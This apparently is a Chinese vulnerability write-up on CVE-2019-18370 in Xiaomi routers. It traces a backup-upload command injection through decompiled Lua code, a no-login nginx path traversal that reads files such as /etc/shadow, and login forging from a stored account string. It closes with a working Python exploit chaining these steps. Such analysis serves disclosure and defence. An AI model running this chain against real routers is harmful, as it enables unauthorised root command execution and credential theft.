xiaomi路由器命令执行漏洞分析(CVE-2019-18370

2023-02-11  本文已影响0人  doinb1517

前言

CVE-2019-18370介绍:

An issue was discovered on Xiaomi Mi WiFi R3G devices before 2.28.23-stable. The backup file is in tar.gz format. After uploading, the application uses the tar zxf command to decompress, so one can control the contents of the files in the decompressed directory. In addition, the application's sh script for testing upload and download speeds reads a URL list from /tmp/speedtest_urls.xml, and there is a command injection vulnerability, as demonstrated by api/xqnetdetect/netspeed.

背景知识

openwrt

Cisco/Linksys在2003年发布了WRT54G这款无线路由器,同年有人发现它的IOS是基于Linux的,然而Linux是基于GPL许可证发布的,按照该许可证Cisco应该把WRT54G 的IOS的源代码公开。2003年3月, Cisco迫于公众压力公开了WRT54G的源代码。此后就有了一些基于Cisco源码的第三方路由器固件,OpenWrt就是其中的一个。

lunci

LUCI 是 Openwrt 中为实现所有系统配置的一个统一接口,英文名 Unified Configuration Interface,即统一配置接口。轻量级 LUA 语言的官方版本只包括一个精简的核心和最基本的库。这使得 LUA 体积小、启动速度快,从而适合嵌入在别的程序里。 LuCI 即是这两个项目的合体,可以实现路由的网页配置界面。

建议在学习LuCI界面开发之前,先了解下LUA 的相关语法知识。
参考教程https://www.runoob.com/lua/lua-basic-syntax.html

LuCI采用了MVC (模型/视图/控制)三层架构,在系统的/usr/lib/lua/luci/下有三个目录 model、 view、 controller, 它们分别对应 M、V、 C。也可以在openwrt源码/feeds/luci/applications/luci-app-xx/luasrc/ 或 openwrt源码/feeds/luci/modules/luci-mod-admin-full/luasrc/ 目录下阅读官方的源码例程,学习参考。

在Openwrt中比较重要的几个文件夹如下,我们后续分析漏洞的重点也是下面几个文件路径。

漏洞简介

环境搭建

固件下载

可以选择从官网下载,但是只能下载到最新版本的固件,历史版本的固件只能逛各大论坛寻找。

Link: http://www1.miwifi.com/miwifi_download.html

01.png

我这里也提供我从小米路由器4A千兆版中提取出的文件系统,具体步骤如下

root@XiaoQiang:~# cat /proc/mtd
dev:    size   erasesize  name
mtd0: 01000000 00010000 "ALL"
mtd1: 00020000 00010000 "Bootloader"
mtd2: 00010000 00010000 "Config"
mtd3: 00010000 00010000 "Factory"
mtd4: 00010000 00010000 "crash"
mtd5: 00010000 00010000 "cfg_bak"
mtd6: 00100000 00010000 "overlay"
mtd7: 00c60000 00010000 "OS1"
mtd8: 00b00000 00010000 "rootfs"
mtd9: 00240000 00010000 "disk"
root@XiaoQiang:~#

## 使用dd命令提取文件系统
dd if=/dev/mtd8 of=/tmp/mi.bin

漏洞分析

漏洞的出发点是一处文件上传功能,用户可以上传自己之前下载过的路由器配置文件来恢复路由器的配置。

02.png

对应的数据包如下

POST /cgi-bin/luci/;stok=b976fc7fe920bde620fff70ab9f1db61/api/misystem/c_upload HTTP/1.1
Host: 192.168.31.1
Content-Length: 11931
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymvmRFZ15q1odX6pv
Accept: */*
Origin: http://192.168.31.1
Referer: http://192.168.31.1/cgi-bin/luci/;stok=b976fc7fe920bde620fff70ab9f1db61/web/setting/upgrade
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: __guid=86847064.4591220507861412400.1676003315952.3748; monitor_count=46
Connection: close

------WebKitFormBoundarymvmRFZ15q1odX6pv
Content-Disposition: form-data; name="image"; filename="jxgo.tar.gz"
Content-Type: application/x-gzip

�ELFaaaaaaaaaa
省略上传文件内容

------WebKitFormBoundarymvmRFZ15q1odX6pv--

备份文件是tar.gz格式的,上传后tar zxf解压,所以构造备份文件,可以控制解压目录的文件内容,结合测试上传下载速度功能的sh脚本执行时读取测试url列表文件,并将url部分直接进行命令拼接执行。

接下来我们看看路由器后台如何处理这个请求,处理此api请求的逻辑位于/usr/lib/lua/luci/controller/api/misystem.lua

可以使用以下的程序对lua程序进行反编译

git clone https://github.com/NyaMisty/unluac_miwifi.git
cd unluac_miwifi
mkdir build
javac -d build -sourcepath src  src/unluac/*.java
jar -cfm build/unluac.jar src/META-INF/MANIFEST.MF -C build

得到处理上传的配置文件的逻辑如下

function cUpload()
    local LuciFs = require("luci.fs")
    local XQBackup = require("xiaoqiang.module.XQBackup")
    local code = 0
    local canupload = true
    local uploadFilepath = "/tmp/cfgbackup.tar.gz"
    local fileSize = tonumber(LuciHttp.getenv("CONTENT_LENGTH"))
    if fileSize > 102400 then
        canupload = false
    end
    LuciHttp.setfilehandler(
        function(meta, chunk, eof)
            if canupload then
                if not fp then
                    if meta and meta.name == "image" then
                        fp = io.open(uploadFilepath, "w")
                    end
                end
                if chunk then
                    fp:write(chunk)
                end
                if eof then
                    fp:close()
                end
            else
                code = 1630
            end
        end
    )
    if LuciHttp.formvalue("image") and fp then
        code = 0
    end
    local result = {}
    if code == 0 then
        local ext = XQBackup.extract(uploadFilepath)
        if ext == 0 then
            result["des"] = XQBackup.getdes()
        else
            code = 1629
        end
    end
    if code ~= 0 then
        result["msg"] = XQErrorUtil.getErrorMessage(code)
        LuciFs.unlink(uploadFilepath)
    end
    result["code"] = code
    LuciHttp.write_json(result)
end

调用XQBackup.extract(uploadFilepath)进行解压

-- 0:succeed
-- 1:file does not exist
-- 2:no description file
-- 3:no mbu file
function extract(filepath)
    local fs = require("nixio.fs")
    local tarpath = filepath
    if not tarpath then
        tarpath = TARMBUFILE
    end
    if not fs.access(tarpath) then
        return 1
    end
    os.execute("cd /tmp; tar -xzf "..tarpath.." >/dev/null 2>/dev/null")
    os.execute("rm "..tarpath.." >/dev/null 2>/dev/null")
    if not fs.access(DESFILE) then
        return 2
    end
    if not fs.access(MBUFILE) then
        return 3
    end
    return 0
end

这里可以发现/tmp下文件路径我们是可控的,基于此我们寻找命令执行函数,且参数从/tmp下的可控文件中解析的函数。

找到几个脚本文件读取了/tmp下的文件并解析执行

#!/usr/bin/env lua
local posix = require("Posix")
local ubus = require ("ubus")
local fs     = require "nixio.fs"

local cfg = {
    ['postfile'] = "/tmp/postfile.dat",
    ['postfilesize'] = 512,  -- kbyte
    ['posturl'] = "http://netsp.master.qq.com/cgi-bin/netspeed",
    ['geturl'] = "http://dlied6.qq.com/invc/qqdoctor/other/test32mb.dat",
    ['nr'] = 200,        --Number of requests to perform
    ['nc'] = 15,     --Number of multiple requests to make at a time
    ['loopnum'] = 15,
    ['timelimit'] = 9,
    ['timestep'] = 1,
    ['interval'] = 1,
    ['weight'] = 0.95, -- smooth net tarffic burst at first second
    ['qos_weight'] = 1,
    ['burstrate'] = 2,
    ['ab'] = "/usr/bin/ab",
    ['dd'] = "/bin/dd",
    ['debug'] = 0,
    ['xmlfile'] = "/usr/share/speedtest.xml",
        ['tmp_speedtest_xml'] = "/tmp/speedtest_urls.xml",
}
local is_oversea_file = false

VERSION="__UNDEFINED__"

if VERSION == "LESSMEM" then
    cfg.nr = 120
    cfg.nc = 10
end

local filename = ""
filexml = io.open(cfg.tmp_speedtest_xml)
if filexml then
    filexml:close()
    is_oversea_file = true
    filename = cfg.tmp_speedtest_xml
else
    filename = cfg.xmlfile
end

local pp = io.open(filename)
local line = pp:read("*line")
local size = 0
local resources = {}
local u = ""
local pids = {}

function die(err)
    posix.openlog(arg[0], "cp", posix.LOG_LOCAL7)
    posix.syslog(posix.LOG_ERR, err)
    posix.closelog()
    os.exit(1)
end

function logger(loglevel,msg)
    posix.openlog("speedtest","np",LOG_USER)
    posix.syslog(loglevel,msg)
    posix.closelog()
end

print(string.format("download using %s...", filename))
logger(3, string.format("download using %s...", filename))

print(string.format("download using nr: %d  nc: %d", cfg.nr, cfg.nc))
logger(3, string.format("download using nr: %d  nc: %d", cfg.nr, cfg.nc))

function mrandom(min,max,num)
    local reverse = {}
    local t = {}
    local ret = {}
    local i = min
    local index
    while i <= max do
        table.insert(t, i)
        i = i + 1
    end

    i = num
    math.randomseed(os.time())

    while i > 0 do
        index = math.random(table.getn(t))
        table.insert(ret,t[index])
        if index == table.getn(t) then
            table.remove(t)
        else
            local top = table.remove(t)
            t[index] = top
        end
        i = i - 1
    end
    return ret
end


function execa(cmd)
    local p = io.popen(cmd)
    local line = p:read("*l")
    while(line) do
        print(line)
        line = p:read("*l")
    end
    p:close()
end

function wget_work(url)
    local _url = url
    pid = posix.fork()
    if pid < 0 then
        print("fork error")
        return -1
    elseif pid > 0 then
        --print(string.format("child pid %d\n", pid))
    else
        os.execute('for i in $(seq '.. math.floor(cfg.nr/cfg.nc) ..'); do wget '.. url  ..
        " -q -O /dev/null; done")
    end
    return pid
end

function wget_work_loop(url)
    local _url = url
    local i = 1
        local cmd = 'wget -q -O /dev/null '
        while (i<=cfg.loopnum) do
                cmd  = string.format('%s %s',cmd, url)
                i=i+1
        end

    pid = posix.fork()
    if pid < 0 then
        print("fork error")
        return -1
    elseif pid > 0 then
        --print(string.format("child pid %d\n", pid))
    else
        os.execute(cmd)
    end
    return pid
end

function wan_device()
    local conn = ubus.connect()
    if not conn then
        elog("Failed to connect to ubusd")
    end
    local status = conn:call("network.interface.wan", "status",{})
    conn:close()
    if not status then
        return nil
    else
        return (status.l3_device and status.l3_device) or status.device
    end
end

function get_pstree(root, pids)
    local pp = io.popen("pgrep -P "..root)
    pid = pp:read("*line")
    while pid do
        data = table.insert(pids, pid)
        get_pstree(pid, pids)
        pid = pp:read("*line")
    end
    pp:close()
end

function execl2(command)
    local pp   = io.popen(command)
    local line = ""
    local data = {}

    while true do
        line = pp:read()
        if line == nil then
            break
        end
        data[#data+1] = line
    end
    pp:close()
    return data
end

function get_pstree2(root, pids)
    local cmd = "pstree -p "..root
    local res = execl2(cmd)

    print("type root is: "..type(root))
    if res and next(res)~=nil then
        for k,v in ipairs(res) do
            local j = 0
            while true do
                _,j,pid  = string.find(v, '%(([0-9]+)%)', j+1)
                if pid then
                    if tonumber(pid) ~= root then
                        table.insert(pids, pid)
                    end
                else
                    break
                end
            end
        end
    end
end

function done(signo)
    io.output("/dev/null")
    local fd = io.open("/dev/null", "rw")
    if not posix.dup(fd, io.stdout) then
        die("error dup2-ing")
    end
    if not posix.dup(fd, io.stderr) then
        die("error dup2-ing")
    end
    get_pstree2(posix.getpid("pid"), pids)
    for k, pid in ipairs(pids) do
        print("kill pid:" .. pid)
        posix.kill(pid, posix.SIGINT)
    end
    os.exit(0)
end

function read_line(filename)
    local fd = io.open(filename)
    local line = fd:read("*line")
    fd:close()
    return line
end


function get_uptime()
    local _, _, uptime, idle = string.find(read_line("/proc/uptime"),'^([0-9.]+)%s+([0-9.]+)$')
    return tonumber(uptime)
end


function get_rt(ifname)
    local line
    local face, r_bytes, r_packets, r_errs, r_drop, r_fifo, r_frame, r_compressed, r_multicast
    local t_bytes, t_packets, t_errs, t_drop, t_fifo, t_colls, t_carrier, t_compressed
    local _nic = {}
    if fs.access("/proc/net/dev") then
        for line in io.lines("/proc/net/dev") do
            _, _, face, r_bytes, r_packets, r_errs, r_drop, r_fifo, r_frame, r_compressed, r_multicast,
            t_bytes, t_packets, t_errs, t_drop, t_fifo, t_colls, t_carrier, t_compressed = string.find(line,
            '%s*(%S+):%s+(%d+)%s+(%d+)%s+(%d+)%s+(%d+)%s+(%d+)%s+(%d+)%s+(%d+)%s+(%d+)%s+(%d+)%s+(%d+)%s+(%d+)%s+(%d+)%s+(%d+)%s+(%d+)%s+(%d+)%s+(%d+)%s*')
            if (face == ifname) then
                return {
                    r_bytes   = tonumber(r_bytes),
                    r_packets = tonumber(r_packets),
                    t_bytes   = tonumber(t_bytes),
                    t_packets = tonumber(t_packets),
                    uptime    = get_uptime()
                }
            end
        end
    end
end


function print_rt(rt, rt_last)
    local delta_time = rt.uptime - rt_last.uptime
    print(string.format("Time(ms):%.0f\tr_x:%.2f t_x:%.2f",
    delta_time*1000,
    (rt.r_bytes - rt_last.r_bytes) / delta_time / 1024,
    (rt.t_bytes - rt_last.t_bytes) / delta_time / 1024))
end



----------------------------------------------------------------------



posix.signal(posix.SIGTERM, done);

local wan_ifname = wan_device()
if not wan_ifname then
    print("got invalid wan device")
    print(string.format("avg rx:%.2f", 0))
    logger(3, "stat_points_privacy network_speedtest=10|download|no_wan_dev")
    done()
end

local midownurl

if is_oversea_file then
    while line do
        local _, _, url = string.find(line,'<item url="(.*)"/>')
        if url then
            table.insert(resources, url)
        end
        line = pp:read("*line")
    end
    pp:close()

    local urls = mrandom(1, table.getn(resources), cfg.nc)
    for k, v in ipairs(urls) do
        if VERSION == "LESSMEM" then
            local pid = wget_work_loop(resources[v])
        else
            local pid = wget_work(resources[v])
        end
        if(pid == 0) then
            os.exit(0)
        elseif(pid == -1) then
            done()
        end
    end
else
    while line do
        local _, _, url = string.find(line,'<item midownurl="(.*)"/>')
        if url then
            midownurl = url
        end
        line = pp:read("*line")
    end
    pp:close()

    for i=1, cfg.nc, 1 do
        if VERSION == "LESSMEM" then
            local pid = wget_work_loop(midownurl)
        else
            local pid = wget_work(midownurl)
        end
        if(pid == 0) then
            os.exit(0)
        elseif(pid == -1) then
            done()
        end
    end
end

local rt = get_rt(wan_ifname)
if not rt then
    print("got invalid data")
    print(string.format("avg rx:%.2f", 0))
    logger(3, "stat_points_privacy network_speedtest=10|download|no_wan_info")
    done()
end

local rt_last
local dot_datas = {}
local dot = 1
dot_datas[dot] = rt

while dot <= cfg.timelimit do
    posix.sleep(1)
    dot = dot + 1
    rt_last = rt
    rt = get_rt(wan_ifname)
    if not rt then
            print("got invalid data")
            print(string.format("avg rx:%.2f", 0))
        logger(3, "stat_points_privacy network_speedtest=10|download|no_wan_info")
            done()
    end

    dot_datas[dot] = rt
    print_rt(rt, rt_last)
end

--function dotdata_show()

function dump_dot_data(dotdata)
    for i=1,#dotdata do
    print(string.format("[%.2d] %.2f %.2f %.2f", i, dotdata[i].r_bytes,dotdata[i].t_bytes, dotdata[i].uptime))
    end

end

--����ƽ��ֵ
function rx_avg_speed(dotdata)
    local sum,j = 0,1
    local dlt_time
    if #dotdata < 2 then
        return 0
    end

    while j + 1 <= #dotdata do
        if (dotdata[j+1].r_bytes <= dotdata[j].r_bytes) then
            return 0
        end
        dlt_time = dotdata[j+1].uptime - dotdata[j].uptime
        sum = sum + (dotdata[j+1].r_bytes - dotdata[j].r_bytes) / dlt_time / 1024
        j = j + 1
    end
    return sum/(#dotdata-1)
end

--ÿ���cfg.interval���rx���ݼ����ٶȣ�ȡ���е����ֵ
function rx_max_avg_speed(dotdata, net_burst)
    local rx_speed = 0
    local i = 2 --i��2��ʼ���ܿ���һ���burst����

    while (i + cfg.interval) <= (cfg.timelimit + 1) do
        if  (dotdata[i+cfg.interval].r_bytes <= dotdata[i].r_bytes) then
            return 0
        end

        local delta_time = dotdata[i+cfg.interval].uptime - dotdata[i].uptime
        local tmp = (dotdata[i+cfg.interval].r_bytes - dotdata[i].r_bytes)/ delta_time / 1024
        --print(string.format("sec[%d]%.2f  sec[%d]%.2f delta_time %.2f, speed is %.2f",
        --          i+cfg.interval, dotdata[i+cfg.interval].r_bytes, i,
        --          dotdata[i].r_bytes, delta_time, tmp))

        if (i == 1) and net_burst then
            --print(string.format("sec[%d] weight %.2f burstrate %.2f : smooth from %.2f to %.2f",
            --      i, cfg.weight, cfg.burstrate, tmp, tmp*cfg.weight))
            tmp = tmp * cfg.weight
        end

        if tmp > rx_speed then
            rx_speed = tmp
        end
        i = i + 1
    end

    return rx_speed
end

-- ȥ��һ�����ֵ��ȥ��һ����Сֵ, ��ƽ��
function  avg_remove_max_min(tdata)
    local sum = 0
    table.sort(tdata)

    --print(string.format("table remove max %.2f  min %.2f",
    --                  tdata[#tdata], tdata[1]))

    table.remove(tdata,#tdata)
    table.remove(tdata,1)

    for key, value in pairs(tdata) do
        sum = sum + value
        --print(string.format("%.2f", value))
    end

    return sum/#tdata
end

--ÿ���cfg.interval���rx���ݼ����ٶȣ�ȥ��һ�����ֵ��ȥ��һ����Сֵ, ��ƽ��
function rx_avg_interval_speed(dotdata)
    local sum = {}
    local rx_speed = 0
    local i = 1

    while (i + cfg.interval) <= (cfg.timelimit + 1) do
        if  (dotdata[i+cfg.interval].r_bytes <= dotdata[i].r_bytes) then
            print("r_x data "..(i+cfg.interval).." <= "..i)
            logger(3, "stat_points_privacy network_speedtest=10|download|data_invalid|"..i+cfg.interval.."|"..dotdata[i+cfg.interval].r_bytes.."|"..i.."|"..dotdata[i].r_bytes)
            return 0
        end

        local delta_time = dotdata[i+cfg.interval].uptime - dotdata[i].uptime
        local tmp = (dotdata[i+cfg.interval].r_bytes - dotdata[i].r_bytes)/ delta_time / 1024
        --print(string.format("sec[%d]%.2f  sec[%d]%.2f delta_time %.2f, speed is %.2f",
        --          i+cfg.interval, dotdata[i+cfg.interval].r_bytes, i,
        --          dotdata[i].r_bytes, delta_time, tmp))

        table.insert(sum, tmp)
        i = i + 1
    end

    rx_speed = avg_remove_max_min(sum)
    if rx_speed*8 < 128 then
            logger(3, "stat_points_privacy network_speedtest=10|download|data_small_value|"..rx_speed*8)
    end
    return rx_speed
end

--�жϵ�һ���Ƿ���net burst
function if_net_burst(dotdata)
    if ((dotdata[2].r_bytes < dotdata[1].r_bytes) or (dotdata[3].r_bytes < dotdata[2].r_bytes)) then
        return false
    end

    local delta_time = dotdata[2].uptime - dotdata[1].uptime
    local first_speed = (dotdata[2].r_bytes - dotdata[1].r_bytes) / delta_time / 1024

    delta_time = dotdata[3].uptime - dotdata[2].uptime
    local second_speed = (dotdata[3].r_bytes - dotdata[2].r_bytes) / delta_time / 1024

    if first_speed > (cfg.burstrate * second_speed) then
        return true
    end
        return false
end

--dump_dot_data(dot_datas)
local res_speed =  rx_avg_speed(dot_datas)
print(string.format("avg r_x:%.2f  %.2fMB  %.2fMbit", res_speed*8, res_speed/1024, res_speed*8/1024))

res_speed = rx_avg_interval_speed(dot_datas)

print(string.format("qos weight %.3f:  from %.2f to %.2f", 
                    cfg.qos_weight, res_speed, res_speed*cfg.qos_weight))

res_speed = res_speed * cfg.qos_weight
logger(3, "stat_points_none downband_speedtest="..math.floor(res_speed*8))
print(string.format("avg rx:%.2f  %.2fMB  %.2fMbit", res_speed*8, res_speed/1024, res_speed*8/1024))


done()


存在逻辑:

ok,上述就是目前命令注入漏洞的执行过程,但是此漏洞执行需要有个前置条件:知道路由器后台管理密码获取token

但是我们可以利用此路由器上的另外一个漏洞与登陆验证逻辑结合,组成漏洞利用链

03.png

Nginx配置错误

小米路由器的nginx配置文件错误,导致目录穿越漏洞,实现任意文件读取(无需登录)

nginx配置不当可导致目录穿越漏洞,

location /xxx {
  alias /abc/;
}

location /backup/log {
    alias /tmp/syslogbackup/;
}

location /api-third-party/download/public {
    alias /userdisk/data/;
}
location /api-third-party/download/private {
    alias /userdisk/appdata/;
}

可通过访问http://domain.cn/xxx../etc/passwd实现目录穿越访问上级目录及其子目录文件。

在小米路由器的文件/etc/sysapihttpd/sysapihttpd.conf中,存在

location /api-third-party/download/extdisks {
    alias /extdisks/;
}

故可以任意文件读取根目录下的所有文件,而且是root权限,如访问http://192.168.31.1/api-third-party/download/extdisks../etc/shadow

04.png

登陆逻辑

从前端js中可以看到登陆时验证过程

05.png
var Encrypt = {
    key: 'a2ffa5c9be07488bbb04a3a47d3c5f6a',
    iv: '64175472480004614961023454661220',
    nonce: null,
    init: function(){
        var nonce = this.nonceCreat();
        this.nonce = nonce;
        return this.nonce;
    },
    nonceCreat: function(){
        var type = 0;
        // 自己的mac地址
        var deviceId = '<%=mac%>';
        var time = Math.floor(new Date().getTime() / 1000);
        var random = Math.floor(Math.random() * 10000);
        return [type, deviceId, time, random].join('_');
    },
    oldPwd : function(pwd){ // oldPwd = sha1(nonce + sha1(pwd + 'a2ffa5c9be07488bbb04a3a47d3c5f6a'))
        return CryptoJS.SHA1(this.nonce + CryptoJS.SHA1(pwd + this.key).toString()).toString();
    },
  //...
};

验证用户登陆的后端过程在XQSecureUtil.checkUser函数

function checkUser(user, nonce, encStr)
    -- 从xiaoqiang 配置文件中读取信息
    local password = XQPreference.get(user, nil, "account")
    if password and not XQFunction.isStrNil(encStr) and not XQFunction.isStrNil(nonce) then
        if XQCryptoUtil.sha1(nonce..password) == encStr then
            return true
        end
    end
    XQLog.log(4, (luci.http.getenv("REMOTE_ADDR") or "").." Authentication failed", nonce, password, encStr)
    return false
end

跟进XQPreference.get函数易知道是从/etc/config/account文件中读取某个字符串,这里称它为accountStr。故,只需要读取/etc/config/account得到accountStr即可模拟登陆,并结合登陆后的命令注入漏洞实现无前置条件的命令注入漏洞。

利用此漏洞利用链的POC如下

import os
import tarfile
import requests

# proxies = {"http":"http://127.0.0.1:8080"}
proxies = {}

## get stok
stok = input("stok: ")

## make config file
command = input("command: ")
speed_test_filename = "speedtest_urls.xml"
with open("template.xml","rt") as f:
    template = f.read()
data = template.format(command=command)
# print(data)
with open("speedtest_urls.xml",'wt') as f:
    f.write(data)

with tarfile.open("payload.tar.gz", "w:gz") as tar:
    # tar.add("cfg_backup.des")
    # tar.add("cfg_backup.mbu")
    tar.add("speedtest_urls.xml")

## upload config file
print("start uploading config file ...")
r1 = requests.post("http://192.168.31.1/cgi-bin/luci/;stok={}/api/misystem/c_upload".format(stok), files={"image":open("payload.tar.gz",'rb')}, proxies=proxies)
# print(r1.text)

## exec download speed test, exec command
print("start exec command...")
r2 = requests.get("http://192.168.31.1/cgi-bin/luci/;stok={}/api/xqnetdetect/netspeed".format(stok), proxies=proxies)
# print(r2.text)

## read result file
r3 = requests.get("http://192.168.31.1/api-third-party/download/extdisks../tmp/1.txt", proxies=proxies)
if r3.status_code == 200:
    print("success, vul")
    print(r3.text)

流量分析

POST请求上传备份文件的流量如下

06.png

命令注入的代码在压缩包被难以编写规则

第二个触发命令执行的GET请求包如下

07.png
上一篇 下一篇

猜你喜欢

热点阅读